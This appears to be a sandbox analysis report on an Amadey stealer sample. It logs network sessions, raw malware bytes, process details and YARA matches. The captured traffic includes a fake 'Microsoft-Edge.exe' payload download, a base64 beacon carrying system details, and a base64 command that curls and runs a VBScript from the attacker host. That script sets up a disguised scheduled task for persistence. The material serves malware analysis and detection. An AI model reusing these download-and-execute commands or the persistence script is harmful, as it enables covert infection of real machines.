2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 00 83 7c 24 20 03 8b a9 50 4c 00 00 76 4a 6a 02 5b 6a 04 8d 57 01 2b df 5e 80 7a 02 eb 75 2c 0f b6 4a 01 0f b6 02 c1 e1 08 03 c8 8b c5 c1 e8 02 c1 e1 08 2b c8 0f b6 42 ff 03 c8 8b c1 88 4a ff c1 e8 08 c1 e9 10 88 02 88 4a 01 03 d6 03 ee 8d 0c 13 3b 4c 24 20 72 c1 8b c7 e9 aa 00 00 00 8b 99 50 4c 00 00 80 fa 02 6a 04 0f 94 c1 80 c1 e8 5e 88 4c 24 13 39 74 24 20 76 4c 8b d6 8a 07 47 43 42 3c e8 74 04 3a c1 75 37 8b 0f 8b eb 81 e5 ff ff ff 00 85 c9 79 11 8d 04 29 85 c0 78 18 8d 81 00 00 00 01 89 07 eb 0e 8d 81 00 00 00 ff 85 c0 79 04 2b cd 89 0f 8a 4c 24 13 03 fe 03 de 03 d6 3b 54 24 20 72 b6 8b 44 24 14 eb 3c 0f b6 6e 0c 33 db ff 74 24 20 8d 71 34 8b ce e8 f6 d9 fe ff 8b 36 33 c9 85 ed 74 1e 32 d2 8b c1 3b 4c 24 20 73 0f 2a 14 3b 43 88 14 30 03 c5 3b 44 24 Data Ascii: \|$ PLvJj[jW+^zu,J+BJJ;L$ rPLj^L$9t$ vLGCB<t:u7y)xy+L$;T$ rD$<n3t$ q463t2;L$ s*;C0;D$
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 2b cf d3 ea 8b 8c be 9c 2d 00 00 03 ca 3b 8e 58 2d 00 00 1b c0 23 c1 0f b7 84 46 e0 39 00 00 0f b7 f8 83 ff 08 73 05 83 c7 02 eb 3a 8b df 83 e7 03 c1 eb 02 83 cf 04 4b 8b cb d3 e7 83 c7 02 85 db 74 23 8b cd e8 6b 3b ff ff 6a 10 59 2b cb d3 e8 8b 4d 04 03 f8 03 cb 8b c1 c1 e8 03 01 45 00 83 e1 07 89 4d 04 80 be 38 4c 00 00 00 8b 4c 24 18 89 7e 68 74 10 ff b6 c8 e6 00 00 8d 46 70 50 51 e9 a9 fb ff ff 8b 56 70 8b da 8b 86 c4 e6 00 00 2b d9 05 fc ef ff ff 3b d8 0f 83 95 00 00 00 3b d0 0f 83 8d 00 00 00 8b 86 34 4b 00 00 03 d8 6a 08 8d 2c 02 8d 04 3a 5a 89 46 70 3b fa 0f 82 de fd ff ff 3b cf 73 44 8b cf c1 e9 03 8a 03 2b fa 88 45 00 8a 43 01 88 45 01 8a 43 02 88 45 02 8a 43 03 88 45 03 8a 43 04 88 45 04 8a 43 05 88 45 05 8a 43 06 88 45 06 8a 43 07 03 da 88 45 Data Ascii: +-;X-#F9s:Kt#k;jY+MEM8LL$~htFpPQVp+;;4Kj,:ZFp;;sD+ECECECECECECECE
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 24 38 ff 15 80 70 46 00 8b 6c 24 14 57 55 ff 15 64 70 46 00 56 8b 74 24 14 56 ff 15 64 70 46 00 55 ff 15 74 70 46 00 56 ff 15 74 70 46 00 ff 74 24 18 6a 00 ff 15 08 71 46 00 5f 5e 5d 8b c3 5b 83 c4 24 c2 0c 00 55 8b ec 81 ec a4 00 00 00 a1 7c 27 44 00 33 c5 89 45 fc 56 8b 75 08 8d 85 5c ff ff ff 6a 50 50 56 ff 15 fc 70 46 00 85 c0 74 26 57 bf e0 79 43 00 8d 85 5c ff ff ff 57 50 e8 e1 75 ff ff 85 c0 74 0e 6a 00 57 6a 00 56 ff 15 00 71 46 00 8b f0 5f 85 f6 74 09 6a 10 56 ff 15 ac 70 46 00 8b 4d fc 33 cd 5e e8 47 45 00 00 c9 c2 04 00 ff 74 24 04 ff 15 3c 61 43 00 85 c0 0f 95 c0 c2 04 00 55 8d 6c 24 98 81 ec 04 01 00 00 a1 7c 27 44 00 33 c5 89 45 64 8b 45 70 8d 8d 7c ff ff ff 53 56 8b 75 78 57 51 50 ff 15 0c 61 43 00 8d 85 6c ff ff ff 33 ff 50 8d 85 7c ff ff Data Ascii: $8pFl$WUdpFVt$VdpFUtpFVtpFt$jqF_^][$U\|'D3EVu\jPPVpFt&WyC\WPutjWjVqF_tjVpFM3^GEt$<aCUl$\|'D3EdEp\|SVuxWQPaCl3P\|
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: 30 88 43 00 56 a3 14 5d 46 00 ff 15 94 60 43 00 85 c0 74 d7 a3 18 5d 46 00 8b ce ba 10 5d 46 00 33 c0 f0 0f b1 0a 85 c0 75 04 3b f3 74 0b 3b c3 0f 95 c0 eb 06 8a c3 eb 02 32 c0 5e 5b c3 e8 85 ff ff ff 84 c0 74 18 56 8b 35 14 5d 46 00 8b ce 68 1c 5d 46 00 ff 15 78 62 43 00 ff d6 5e c3 ba 1c 5d 46 00 eb 02 f3 90 a1 1c 5d 46 00 85 c0 75 f5 33 c9 41 f0 0f b1 0a 85 c0 75 ec c3 8b ff 55 8b ec 83 ec 40 8d 45 e4 6a 1c 50 ff 75 08 ff 15 bc 61 43 00 85 c0 75 05 6a 19 59 cd 29 f6 45 f8 44 74 45 56 57 8d 45 c0 50 ff 15 b4 61 43 00 8b 7d c4 8d 57 ff 8b c2 8b f2 23 45 08 f7 d6 23 55 0c 03 c7 4a 23 75 08 03 c2 33 d2 f7 f7 33 d2 8b c8 8b 45 0c f7 f7 03 c8 74 0c 33 c0 f0 09 06 03 f7 83 e9 01 75 f4 5f 5e c9 c2 08 00 8b ff 55 8b ec 8b 0d 3c 00 40 00 53 56 57 83 b9 74 00 40 Data Ascii: 0CV]F`Ct]F]F3u;t;2^[tV5]Fh]FxbC^]F]Fu3AuU@EjPuaCujY)EDtEVWEPaC}W#E#UJ#u33Et3u_^U<@SVWt@
2024-09-27 14:18:57 UTC	16384	IN	Data Raw: c2 2b c7 6a 02 89 45 f8 5e 0f b7 0f 66 85 c9 74 36 0f b7 0c 38 0f b7 07 2b c8 8b 45 f8 75 0c 03 fe 33 c9 66 39 0c 38 75 e0 eb 02 33 c9 66 39 0f 74 15 8b 7d 0c 03 d6 03 c6 89 45 f8 66 39 0a 75 c8 33 c0 5e 5f c9 c3 8b c2 eb f8 55 8b ec 56 33 f6 83 3d 78 60 46 00 02 7d 2d 8b 4d 08 8b d1 66 8b 01 83 c1 02 66 85 c0 75 f5 66 8b 45 0c 83 e9 02 3b ca 74 05 66 39 01 75 f4 66 39 01 75 04 8b c1 eb 66 33 c0 eb 62 8b 55 08 66 8b 4d 0c eb 12 0f b7 02 66 3b c1 75 02 8b f2 66 85 c0 74 48 83 c2 02 8d 42 01 a8 0e 75 e7 33 c0 66 3b c1 75 1e b8 01 00 ff ff 66 0f 6e c8 eb 03 83 c2 10 0f 10 02 66 0f 3a 63 c8 15 75 f2 8d 04 4a eb 1b 0f b7 c1 66 0f 6e c0 66 0f 3a 63 02 41 73 03 8d 34 4a 74 05 83 c2 10 eb ee 8b c6 5e 5d c3 cc 83 3d 78 60 46 00 01 72 5f 0f b6 44 24 08 8b d0 c1 e0 Data Ascii: +jE^ft68+Eu3f98u3f9t}Ef9u3^_UV3=x`F}-MffufE;tf9uf9uf3bUfMf;uftHBu3f;ufnf:cuJfnf:cAs4Jt^]=x`Fr_D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49646	104.21.64.194	443	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 14:18:58 UTC	75	OUT	GET /download/Microsoft-Edge.exe HTTP/1.1 Host: eijfrhegrtbrfcd.online
2024-09-27 14:18:58 UTC	724	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:58 GMT Content-Type: application/octet-stream Content-Length: 435820 Connection: close last-modified: Fri, 27 Sep 2024 13:08:13 GMT etag: "6a66c-623198c2f25e1" strict-transport-security: max-age=31536000; Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1635 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2Btdsw857revWiVD1JTfoSRoNsDY0KqhJ66IrswuBWBKPW3PdfMRsxeXRpvdvfulLsOl2wY6rcHiYTyaMp15PwBLX4RlocavMV%2FCLLDSr9FfxO3ZOqwoRxvS1tWYdrfF48SqiEUtLlj5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c2041d8194286-EWR
2024-09-27 14:18:58 UTC	645	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 12 00 86 a4 f6 66 00 e8 05 00 a8 08 00 00 f0 00 27 00 0b 02 02 1f 00 36 00 00 00 ae 00 00 00 0a 00 00 b0 14 00 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 a0 06 00 00 06 00 00 6c d7 06 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdf'6@l`
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: b0 00 00 00 12 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 68 00 00 00 00 d0 00 00 00 02 00 00 00 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 e0 00 00 00 02 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 73 72 63 00 00 00 c0 45 00 00 00 f0 00 00 00 46 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2f 34 00 00 00 00 00 00 d0 04 00 00 00 40 01 00 00 06 00 00 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 39 00 00 00 00 00 1e 8e 04 00 00 50 01 00 00 90 04 00 00 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 ea 29 00 00 00 e0 05 00 00 2a 00 00 00 4a 05 00 00 00 00 00 Data Ascii: X@0.CRThj@@.tlsl@@.rsrcEFn@0/4@@B/19P@B/31)*J
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: 03 00 00 41 ff d4 48 89 e8 f0 48 0f b1 33 48 85 c0 75 e2 48 8b 35 d8 59 00 00 31 ed 8b 06 83 f8 01 0f 84 22 02 00 00 8b 06 85 c0 0f 84 71 02 00 00 c7 05 ef 8d 00 00 01 00 00 00 8b 06 83 f8 01 0f 84 18 02 00 00 85 ed 0f 84 31 02 00 00 48 8b 05 2d 59 00 00 48 8b 00 48 85 c0 74 0c 45 31 c0 ba 02 00 00 00 31 c9 ff d0 e8 94 20 00 00 48 8d 0d dd 25 00 00 ff 15 17 a3 00 00 48 8b 15 50 59 00 00 48 89 02 e8 d8 24 00 00 48 8d 0d 91 fd ff ff e8 6c 2f 00 00 e8 37 1e 00 00 48 8b 05 f0 58 00 00 48 89 05 e1 96 00 00 e8 34 30 00 00 48 8b 00 31 c9 48 85 c0 75 1c eb 5f 0f 1f 84 00 00 00 00 00 84 d2 74 2c 83 e1 01 74 27 b9 01 00 00 00 48 83 c0 01 0f b6 10 80 fa 20 7e e6 41 89 c8 41 83 f0 01 80 fa 22 41 0f 44 c8 eb e4 66 0f 1f 44 00 00 84 d2 75 11 eb 1a 66 2e 0f 1f 84 00 00 Data Ascii: AHH3HuH5Y1"q1H-YHHtE11 H%HPYH$Hl/7HXH40H1Hu_t,t'H ~AA"ADfDuf.
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: 00 48 8d ac 24 80 00 00 00 48 89 8d e0 01 00 00 48 8d 05 b8 48 00 00 48 89 85 c8 01 00 00 48 8d 85 c0 00 00 00 41 b8 04 01 00 00 48 89 c2 48 8d 0d a5 48 00 00 48 8b 05 15 9d 00 00 ff d0 85 c0 75 16 48 8d 0d 98 48 00 00 e8 7b 29 00 00 b8 01 00 00 00 e9 bd 00 00 00 48 8d 95 c0 00 00 00 48 8d 45 b0 48 8d 0d 65 48 00 00 48 89 4c 24 20 49 89 d1 4c 8d 05 aa 48 00 00 ba 04 01 00 00 48 89 c1 48 8b 05 c1 38 00 00 ff d0 48 8d 45 b0 48 89 c1 48 8b 05 39 9f 00 00 ff d0 85 c0 75 1a 48 8d 15 2a 48 00 00 48 8d 0d 7d 48 00 00 e8 20 29 00 00 b8 00 00 00 00 eb 5d 48 8b 85 c8 01 00 00 48 89 c1 e8 79 fe ff ff 85 c0 75 24 48 8b 85 c8 01 00 00 48 89 c2 48 8d 0d 6d 48 00 00 e8 f0 28 00 00 48 8d 45 b0 48 89 c1 e8 7a 06 00 00 eb 16 48 8b 85 c8 01 00 00 48 89 c2 48 8d 0d 66 48 00 Data Ascii: H$HHHHHAHHHHuHH{)HHEHeHHL$ ILHHH8HEHH9uH*HH}H )]HHyu$HHHmH(HEHzHHHfH
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: 16 00 00 00 ba 01 00 00 00 48 8d 0d 78 45 00 00 e8 83 24 00 00 e9 eb 01 00 00 48 8d 45 c0 48 89 c2 b9 04 01 00 00 48 8b 05 33 98 00 00 ff d0 85 c0 75 2d b9 02 00 00 00 48 8b 05 91 33 00 00 ff d0 49 89 c1 41 b8 1b 00 00 00 ba 01 00 00 00 48 8d 0d 49 45 00 00 e8 3d 24 00 00 e9 a5 01 00 00 48 8d 45 c0 48 8d 15 50 45 00 00 48 89 c1 48 8b 05 fb 99 00 00 ff d0 48 8d 55 c0 48 8d 85 d0 00 00 00 41 b8 00 00 00 00 48 89 c1 48 8b 05 36 97 00 00 ff d0 85 c0 75 2d b9 02 00 00 00 48 8b 05 2c 33 00 00 ff d0 49 89 c1 41 b8 17 00 00 00 ba 01 00 00 00 48 8d 0d 13 45 00 00 e8 d8 23 00 00 e9 40 01 00 00 48 8d 45 c0 48 89 c2 48 8d 0d 13 45 00 00 e8 a0 23 00 00 48 8d 45 c0 48 c7 44 24 30 00 00 00 00 c7 44 24 28 80 00 00 00 c7 44 24 20 03 00 00 00 41 b9 00 00 00 00 41 b8 01 00 Data Ascii: HxE$HEHH3u-H3IAHIE=$HEHPEHHHUHAHH6u-H,3IAHE#@HEHHE#HEHD$0D$(D$ AA
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: 48 8b 4d 70 e8 de 1e 00 00 eb 19 48 8b 45 78 49 89 c0 48 8d 15 d2 42 00 00 48 8b 4d 70 e8 c5 1e 00 00 eb 00 90 48 81 c4 d8 00 00 00 5f 5d c3 55 57 48 81 ec 98 04 00 00 48 8d ac 24 80 00 00 00 48 89 8d 30 04 00 00 48 8d 85 d0 03 00 00 48 89 c1 48 8b 05 9f 92 00 00 ff d0 c7 85 90 03 00 00 40 00 00 00 48 8d 85 90 03 00 00 48 89 c1 48 8b 05 a2 92 00 00 ff d0 48 b8 55 6e 6b 6e 6f 77 6e 20 ba 4f 53 00 00 48 89 85 10 03 00 00 48 89 95 18 03 00 00 48 8d 95 20 03 00 00 b8 00 00 00 00 b9 0e 00 00 00 48 89 d7 f3 48 ab 48 8d 85 10 03 00 00 ba 80 00 00 00 48 89 c1 e8 36 fd ff ff c7 85 0c 02 00 00 00 01 00 00 48 8d 95 0c 02 00 00 48 8d 85 10 02 00 00 48 89 c1 48 8b 05 c6 91 00 00 ff d0 48 b8 55 6e 6b 6e 6f 77 6e 20 48 ba 50 72 6f 63 65 73 73 6f 48 89 85 00 01 00 00 48 Data Ascii: HMpHExIHBHMpH_]UWHH$H0HHH@HHHHUnknown OSHHH HHHH6HHHHHUnknown HProcessoHH
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: f8 48 89 c1 e8 e5 19 00 00 eb 0c 48 8d 0d cc 3e 00 00 e8 a7 19 00 00 90 48 83 c4 30 5d c3 55 48 81 ec 70 04 00 00 48 8d ac 24 80 00 00 00 48 89 8d 00 04 00 00 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 41 b8 00 00 00 00 ba 00 00 00 00 48 8d 0d b1 3e 00 00 e8 ec 03 00 00 48 89 85 e8 03 00 00 48 83 bd e8 03 00 00 00 0f 84 2c 02 00 00 48 8b 85 e8 03 00 00 41 b9 00 00 00 00 41 b8 bb 01 00 00 48 8d 15 bd 3e 00 00 48 89 c1 e8 bd 03 00 00 48 89 85 e0 03 00 00 48 83 bd e0 03 00 00 00 0f 84 e6 01 00 00 48 8d 45 c0 4c 8b 8d 00 04 00 00 4c 8d 05 be 3e 00 00 ba 00 02 00 00 48 89 c1 e8 b9 18 00 00 48 8d 45 c0 48 89 c2 48 8d 0d d7 3e 00 00 e8 96 18 00 00 48 8d 55 c0 48 8b 85 e0 03 00 00 c7 44 24 30 00 00 80 00 48 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 Data Ascii: HH>H0]UHpH$HD$ AAH>HH,HAAH>HHHHELL>HHEHH>HUHD$0HD$(HD$ A
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: 90 90 90 90 90 31 c0 c3 90 90 90 90 90 90 90 90 90 90 90 90 90 41 54 55 57 56 53 48 83 ec 30 48 8b 1d ff 23 00 00 48 b8 32 a2 df 2d 99 2b 00 00 48 c7 44 24 20 00 00 00 00 48 39 c3 74 17 48 f7 d3 48 89 1d ed 23 00 00 48 83 c4 30 5b 5e 5f 5d 41 5c c3 66 90 48 8d 4c 24 20 ff 15 ed 87 00 00 48 8b 74 24 20 ff 15 9a 87 00 00 41 89 c4 ff 15 99 87 00 00 89 c5 ff 15 e1 87 00 00 48 8d 4c 24 28 89 c7 ff 15 04 88 00 00 48 33 74 24 28 44 89 e0 48 ba ff ff ff ff ff ff 00 00 48 31 f0 89 ee 48 31 c6 89 f8 48 31 f0 48 21 d0 48 39 d8 74 25 48 89 c2 48 f7 d2 48 89 05 68 23 00 00 48 89 15 71 23 00 00 48 83 c4 30 5b 5e 5f 5d 41 5c c3 66 0f 1f 44 00 00 48 ba cc 5d 20 d2 66 d4 ff ff 48 b8 33 a2 df 2d 99 2b 00 00 eb cb 66 2e 0f 1f 84 00 00 00 00 00 55 56 53 48 89 e5 48 83 ec 70 Data Ascii: 1ATUWVSH0H#H2-+HD$ H9tHH#H0[^_]A\fHL$ Ht$ AHL$(H3t$(DHH1H1H1H!H9t%HHHh#Hq#H0[^_]A\fDH] fH3-+f.UVSHHp
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: 48 89 03 89 f8 48 8b 54 05 f8 48 89 54 03 f8 48 8d 43 08 48 83 e0 f8 48 29 c3 48 29 dd 01 fb 83 e3 f8 83 fb 08 72 c1 83 e3 f8 31 d2 89 d1 83 c2 08 4c 8b 44 0d 00 39 da 4c 89 04 08 72 ee eb a8 48 03 35 ed 73 00 00 48 8b 4c 24 20 41 b8 40 00 00 00 48 8b 54 24 38 49 89 f1 48 89 4e 08 48 89 56 10 ff 15 3c 83 00 00 85 c0 0f 85 4e ff ff ff ff 15 4e 82 00 00 48 8d 0d c7 37 00 00 89 c2 e8 38 12 00 00 0f 1f 84 00 00 00 00 00 8b 45 00 89 ff 89 03 8b 44 3d fc 89 44 3b fc e9 48 ff ff ff 31 f6 e9 9c fe ff ff 89 ff 0f b7 44 3d fe 66 89 44 3b fe e9 30 ff ff ff 48 8b 05 75 73 00 00 41 8b 54 24 08 48 8d 0d 41 37 00 00 4c 8b 44 30 18 e8 e7 11 00 00 48 8d 0d 10 37 00 00 48 89 da e8 d8 11 00 00 90 0f 1f 80 00 00 00 00 55 41 57 41 56 41 55 41 54 57 56 53 48 83 ec 38 48 8d ac Data Ascii: HHTHTHCHH)H)r1LD9LrH5sHL$ A@HT$8IHNHV<NNH78ED=D;H1D=fD;0HusAT$HA7LD0H7HUAWAVAUATWVSH8H
2024-09-27 14:18:58 UTC	1369	IN	Data Raw: 00 00 48 89 c5 8b 05 f0 6e 00 00 85 c0 75 25 48 85 ed 74 20 48 8d 0d 68 33 00 00 c7 05 d6 6e 00 00 01 00 00 00 e8 a9 05 00 00 48 85 c0 74 14 b8 01 00 00 00 48 83 c4 20 5b 5e 5f 5d 41 5c c3 0f 1f 40 00 48 8d 1d c9 6f 00 00 48 8d 15 c2 6e 00 00 b9 30 00 00 00 4c 8d 25 f6 fd ff ff 31 f6 48 89 df f3 48 ab b9 20 00 00 00 48 89 d7 49 29 ec f3 48 ab 48 89 d7 eb 2e c6 07 09 44 89 67 04 48 83 c6 01 8b 48 0c 48 83 c3 0c 89 4b f4 03 48 08 48 89 f8 48 29 e8 48 83 c7 08 89 43 fc 89 4b f8 48 83 fe 20 74 32 48 89 f1 e8 75 06 00 00 48 85 c0 75 c5 48 85 f6 89 f2 0f 84 71 ff ff ff 0f 1f 44 00 00 49 89 e8 48 8d 0d 46 6f 00 00 ff 15 10 7d 00 00 e9 57 ff ff ff ba 20 00 00 00 eb e4 0f 1f 40 00 53 48 83 ec 20 48 8b 11 48 89 cb 8b 02 89 c1 81 e1 ff ff ff 20 81 f9 43 43 47 20 0f Data Ascii: Hnu%Ht Hh3nHtH [^_]A\@HoHn0L%1HH HI)HH.DgHHHKHHH)HCKH t2HuHuHqDIHFo}W @SH HH CCG

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49647	104.21.64.194	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 14:19:00 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjA2MTU0NCIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJWTXdhcmUyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 14:19:00 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BWxtwXHpPukvr81MaUcQn%2BXNUZrgm4iImhooAlF7Lzg1A9rPw6d8eFE%2F8GtzEvB3mTRIW3rtV24vFrVTbkqKcYUopuRXRdAy8rWoTKsFkwkcFv8Zyi49lOJHnerKhQdyp%2FWTYft5hXtA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c204ec8b71971-EWR
2024-09-27 14:19:00 UTC	176	IN	Data Raw: 61 61 0d 0a 0a 59 32 51 67 4c 32 51 67 4a 58 52 6c 62 58 41 6c 49 43 59 6d 49 47 52 6c 62 43 42 6a 62 32 35 6d 4c 6e 5a 69 63 79 41 79 50 6d 35 31 62 43 41 6d 4a 69 42 6a 64 58 4a 73 49 43 31 76 49 47 4e 76 62 6d 59 75 64 6d 4a 7a 49 47 68 30 64 48 42 7a 4f 69 38 76 5a 57 6c 71 5a 6e 4a 6f 5a 57 64 79 64 47 4a 79 5a 6d 4e 6b 4c 6d 39 75 62 47 6c 75 5a 53 39 6b 62 33 64 75 62 47 39 68 5a 43 39 6a 62 32 35 6d 4d 53 35 77 61 48 41 67 4a 69 59 67 59 33 4e 6a 63 6d 6c 77 64 43 42 6a 62 32 35 6d 4c 6e 5a 69 63 77 3d 3d 0a 0d 0a Data Ascii: aaY2QgL2QgJXRlbXAlICYmIGRlbCBjb25mLnZicyAyPm51bCAmJiBjdXJsIC1vIGNvbmYudmJzIGh0dHBzOi8vZWlqZnJoZWdydGJyZmNkLm9ubGluZS9kb3dubG9hZC9jb25mMS5waHAgJiYgY3NjcmlwdCBjb25mLnZicw==
2024-09-27 14:19:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49673	104.21.64.194	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 14:19:09 UTC	104	OUT	GET /download/conf1.php HTTP/1.1 Host: eijfrhegrtbrfcd.online User-Agent: curl/7.83.1 Accept: /
2024-09-27 14:19:09 UTC	667	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9qEcn6CgW4kqXYupHNJhX9KIDQbyLe7n64gXDUoWAQOlUJj3F5RshJpXFVGLg8uuUG%2F4ybRttczqahUw8WCCz8HZNhhagIMKzCmXLslrLt%2Fhl9HTP%2BBrG4S3XaBrD9KN6xdzVomVqPT%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c9c2088eaec42bb-EWR
2024-09-27 14:19:09 UTC	290	IN	Data Raw: 31 31 62 0d 0a 44 69 6d 20 6f 62 6a 53 68 65 6c 6c 0a 53 65 74 20 6f 62 6a 53 68 65 6c 6c 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 0a 0a 44 69 6d 20 63 6f 6d 6d 61 6e 64 0a 63 6f 6d 6d 61 6e 64 20 3d 20 22 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 22 20 2f 74 72 20 22 22 22 20 26 20 6f 62 6a 53 68 65 6c 6c 2e 45 78 70 61 6e 64 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 28 22 25 74 65 6d 70 25 22 29 20 26 20 22 5c 4d 69 63 72 6f 73 6f 66 74 2d 45 64 67 65 2e 65 78 65 22 22 20 2f 73 63 20 6f 6e 6c 6f 67 6f 6e 20 2f 72 6c 20 68 69 67 68 65 73 74 20 2f 66 22 0a 0a 6f 62 6a 53 68 65 6c 6c 2e 52 75 6e 20 63 6f 6d 6d 61 6e 64 Data Ascii: 11bDim objShellSet objShell = CreateObject("WScript.Shell")Dim commandcommand = "schtasks /create /tn ""Microsoft Edge"" /tr """ & objShell.ExpandEnvironmentStrings("%temp%") & "\Microsoft-Edge.exe"" /sc onlogon /rl highest /f"objShell.Run command
2024-09-27 14:19:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:17:07
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb50000
File size:	1'940'480 bytes
MD5 hash:	B8FC8A5801E3C0172A199430C7DBA1D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2187029054.0000000005370000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2227686049.0000000000B51000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:17:10
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x200000
File size:	1'940'480 bytes
MD5 hash:	B8FC8A5801E3C0172A199430C7DBA1D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
